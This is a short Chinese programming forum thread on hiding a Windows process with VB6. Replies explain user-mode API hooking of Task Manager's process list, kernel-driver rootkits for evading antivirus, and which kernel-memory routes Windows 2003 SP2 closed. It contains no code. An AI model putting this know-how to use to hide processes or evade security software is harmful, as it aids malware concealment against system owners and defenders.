你能给个在当前常用的这几个Windows系统版本中都能用的么？
--------------------编程问答--------------------
隐藏系统进程干啥？你的程序提权为system进程了吗？ --------------------编程问答-------------------- 隐藏进程的原理是API Hook，让Task Manager在获取进程列表的时候（它在调用一个API），实施拦截，并且吃掉需要隐藏的进程信息。对付更强大的杀毒软件，就需要hook更底层的api，直到内核（内核就需要写driver）了。所谓rootkit，就是看谁占领更底层的代码。 --------------------编程问答-------------------- windows 2003 sp2之后NtSystemDebugControl,NtSetSystemInformation(SystemLoadAndCallImage),\Device\PhysicalMemory这些东西都被封了，要修改内核空间内存只能用驱动程序
在用户模式隐藏进程只能用api hook，但这要对别的进程做手脚，而vb6在这点很麻烦 --------------------编程问答--------------------
顶.
这是在RIN3下读写物理内存的办法,现在只能用驱动了...
至于RING3下做HOOK,VB6确实麻烦,但也还是能实现,前段时间刚接了个单子就是拦截某个行业软件中的某个API的执行,嘿嘿.
补充：VB , API
